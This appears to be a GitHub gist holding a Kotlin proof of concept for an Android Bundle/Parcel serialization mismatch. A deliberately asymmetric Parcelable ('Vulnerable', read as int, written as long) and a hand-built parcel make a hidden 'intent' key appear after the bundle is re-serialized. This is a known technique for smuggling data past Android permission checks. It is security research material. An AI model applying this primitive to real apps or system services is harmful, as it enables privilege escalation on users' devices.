Skip to content

Instantly share code, notes, and snippets.

@evilpan
Created February 23, 2023 07:15
Show Gist options
  • Save evilpan/851b95e40a86c419e657c3177fa481b7 to your computer and use it in GitHub Desktop.
Save evilpan/851b95e40a86c419e657c3177fa481b7 to your computer and use it in GitHub Desktop.
Self changing bundle PoC
package com.evilpan.poc
import android.os.Bundle
import android.os.Parcel
import java.nio.ByteBuffer
import java.nio.ByteOrder
object BundleTest {
enum class Type(val value: Int) {
VAL_NULL(-1),
VAL_STRING( 0),
VAL_INTEGER(1),
VAL_MAP(2),
VAL_BUNDLE(3),
VAL_PARCELABLE(4),
VAL_SHORT(5),
VAL_LONG(6),
VAL_FLOAT(7),
VAL_DOUBLE(8),
VAL_BOOLEAN(9),
VAL_CHARSEQUENCE(10),
VAL_LIST(11),
VAL_SPARSEARRAY(12),
VAL_BYTEARRAY(13),
VAL_STRINGARRAY(14),
VAL_IBINDER(15),
VAL_PARCELABLEARRAY(16),
VAL_OBJECTARRAY(17),
VAL_INTARRAY(18),
VAL_LONGARRAY(19),
VAL_BYTE(20),
VAL_SERIALIZABLE(21),
VAL_SPARSEBOOLEANARRAY(22),
VAL_BOOLEANARRAY(23),
VAL_CHARSEQUENCEARRAY(24),
VAL_PERSISTABLEBUNDLE(25),
VAL_SIZE(26),
VAL_SIZEF(27),
VAL_DOUBLEARRAY(28);
companion object {
fun fromInt(value: Int) = Type.values().first { it.value == value }
}
}
private val VAL_INTEGER = Type.VAL_INTEGER.value.toByte()
private val VAL_BYTEARRAY = Type.VAL_BYTEARRAY.value.toByte()
fun run() {
try {
poc()
} catch (e: java.lang.Exception) {
Log.i("Error: $e")
}
}
private fun poc() {
val p = Parcel.obtain()
val lengthPos = p.dataPosition()
// header
p.writeInt(-1) // length
p.writeInt(0x4C444E42) // magic
val startPos = p.dataPosition();
p.writeInt(3) // numItem
// A0
p.writeString("A")
p.writeInt(Type.VAL_PARCELABLE.value)
p.writeString("com.evilpan.poc.Vulnerable")
p.writeInt(666) // mData
// A1
p.writeString("\u000d\u0000\u0008") // 0d00 0000 0800
p.writeInt(Type.VAL_BYTEARRAY.value)
p.writeInt(28)
p.writeString("intent") // 4 + padSize((6 + 1) * 2) = 4+16 = 20
p.writeInt(Type.VAL_INTEGER.value) // = 4
p.writeInt(0x1337) // = 4
// A2
p.writeString("BBB")
p.writeInt(Type.VAL_NULL.value)
// Back-patch length
val endPos = p.dataPosition()
p.setDataPosition(lengthPos);
val length = endPos - startPos;
p.writeInt(length);
p.setDataPosition(endPos);
// reset position
p.setDataPosition(lengthPos)
// Util.saveExternal(Global.context, p.marshall(), "p0.bin")
// Log.i("lengthPos: $lengthPos")
val A = unparcel(p)
Log.i("A = " + inspect(A))
Log.i("A.containsKey: " + A.containsKey("intent"))
// val p1 = parcel(A)
// Util.saveExternal(Global.context, p1.marshall(), "p1.bin")
// val B = unparcel(p1)
val B = unparcel(parcel(A))
Log.i("B = " + inspect(B))
Log.i("B.containsKey: " + B.containsKey("intent"))
p.recycle()
}
private fun testBundle() {
val b = Bundle()
b.putInt("key1", 0x1337)
b.putString("key2", "\u1234")
b.putParcelable("key3", Vulnerable(42L))
// b.putByteArray("key3", byteArrayOf(1,2,3))
Log.i("b: " + inspect(b))
}
private fun parcel(b: Bundle): Parcel {
val p = Parcel.obtain()
val pos = p.dataPosition()
p.writeBundle(b)
p.setDataPosition(pos)
return p
}
private fun unparcel(p: Parcel): Bundle {
// When Bundle is read from parcel, mParcelledData is stored, and sMap is not parsed yet.
// So we need to trigger the unparcel inside bundle
// See:
// https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/BaseBundle.java;l=1824;drc=9b25969d7bf3e31c5b7fec5b34c37a304b6a7fa7;bpv=0;bpt=1
// bundle.size()
return p.readBundle(javaClass.classLoader)!!
}
private fun padSize(size: Int): Int {
return (size + 3) and (-4)
}
private fun readN(buf: ByteBuffer, size: Int): ByteArray {
val data = ByteArray(size)
buf.get(data)
return data
}
private fun readString(buf: ByteBuffer, hex: Boolean = false): String {
val size = readInt(buf)
val psize = padSize((size + 1) * 2)
val data = readN(buf, psize)
return if (hex)
Util.hexilify(data)
else
String(data, 0, size * 2, Charsets.UTF_16LE) // Unicode is Little Endian
}
private fun readInt(buf: ByteBuffer): Int {
return buf.int
}
private fun readLong(buf: ByteBuffer): Long {
return buf.long
}
private fun readByteArray(buf: ByteBuffer): ByteArray {
val size = readInt(buf)
return readN(buf, padSize(size))
}
private fun readVulnerable(buf: ByteBuffer): String {
val className = readString(buf)
return className + "{mData=" + readInt(buf) + "}"
}
private fun inspect(bundle: Bundle, saveAs: String? = null): String {
val p = Parcel.obtain()
val sb = StringBuffer()
p.writeBundle(bundle)
val data = p.marshall()
if (saveAs != null) {
Util.saveExternal(Global.context, data, saveAs)
}
val bb = ByteBuffer.allocate(data.size)
bb.order(ByteOrder.LITTLE_ENDIAN)
bb.put(data)
bb.rewind()
val length = readInt(bb)
val magic = readInt(bb)
val numItem = readInt(bb)
sb.append("Bundle(item = $numItem) length: $length")
for (i in 0 until numItem) {
val key = readString(bb, true)
val vt = readInt(bb)
val type = Type.fromInt(vt)
val value = when(type) {
Type.VAL_NULL -> null
Type.VAL_INTEGER -> readInt(bb).toString(16)
Type.VAL_LONG -> readLong(bb).toString(16)
Type.VAL_STRING -> readString(bb, true)
Type.VAL_BYTEARRAY -> Util.hexilify(readByteArray(bb))
Type.VAL_PARCELABLE -> readVulnerable(bb)
else -> {
Log.i("not handled: $type")
null
}
}
sb.append("\n => $key = $type:$value")
}
p.recycle()
return sb.toString()
}
}
package com.evilpan.poc
import android.os.Parcel
import android.os.Parcelable
class Vulnerable(var mData: Long = 0L) : Parcelable {
constructor(parcel: Parcel) : this() {
mData = parcel.readInt().toLong()
}
override fun writeToParcel(parcel: Parcel, flags: Int) {
Log.i("=== writeToParcel ===")
parcel.writeLong(mData)
}
override fun describeContents(): Int {
return 0
}
companion object CREATOR : Parcelable.Creator<Vulnerable> {
override fun createFromParcel(parcel: Parcel): Vulnerable {
return Vulnerable(parcel)
}
override fun newArray(size: Int): Array<Vulnerable?> {
return arrayOfNulls(size)
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment